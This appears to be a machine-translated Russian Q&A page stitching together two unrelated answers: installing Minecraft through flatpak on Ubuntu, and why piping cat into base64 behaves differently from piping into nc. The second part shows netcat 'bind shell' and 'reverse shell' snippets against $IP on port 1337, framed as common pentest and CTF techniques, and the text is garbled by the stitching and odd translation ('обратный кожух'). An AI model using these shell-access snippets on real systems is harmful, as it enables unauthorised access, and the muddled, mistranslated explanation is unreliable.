Если в вашей системе до сих пор не установлен пакет разработки Java:
sudo apt install openjdk-11-jdk
Установите Flatpack в вашей системе:
sudo su
#type your admininstrator password
apt install flatpak
apt install gnome-software-plugin-flatpak
flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo
Перезагрузите систему
sudo reboot
Установите mojang.Minecraft через flatpak
sudo flatpak install flathub com.mojang.Minecraft
flatpak run com.mojang.Minecraft
Перетащите значок Minecraft -в верхнюю часть лончбара, и в следующий раз вы найдете там стартер MC -.
Что-то вроде этого?
# this is an infinite loop, but can be changed to whatever you need
while true; do read x; echo "$x" | base64; done
Выход:
foo
Zm9vCg==
bar
YmFyCg==
Я выяснил, почему cat | base64
работает не так, как я предполагал. base64
должен принять все входные данные, завершенные (я думаю )и EOF
. Поскольку вывод из cat
не имеет терминатора, base64
никогда не переставал принимать и буферизовать ввод, а ctrl-C
завершает как cat
, так и base64
. По сути, base64
ожидает окончания вывода cat
на EOF
, но cat
не выводит EOF
, поэтому закодированный вывод никогда не возвращается. При использовании cat << EOF | base64
пользовательский ввод отражается и передается в base64
, но выводится только после ввода EOF
.
$ cat << EOF | base64
pipe heredoc> ls
pipe heredoc> test
pipe heredoc> EOF
bHMKdGVzdAo=
С другой стороны, nc
непрерывно принимает пользовательский ввод, и его вводы могут быть разделены с помощью \n
. Таким образом, трубопровод работает с cat | nc
. Вот как cat
и nc
часто используются для получения шеллов в пентестах и CTF
Связать оболочку
# user
$ cat | nc $IP 1337
# target
$ nc -lp 1337
Обратный кожух
# user
$ cat | nc -lp 1337
# target
$ nc $IP 1337
Из-за различий в буферизации и терминаторах между приложениями(base64
иnc
)конвейер, который я хотел сделать, невозможен без некоторых настроек. Окончательную цепочку можно получить, поместив команды с возвратом всего вывода за один раз (, например.base64
)внутри цикла while
и команды, которые принимают входную строку -по -строке (, например. nc
справа от трубы)
# code courtesy of @muru in the comments
while read x; do
echo "$x" | base64
done | nc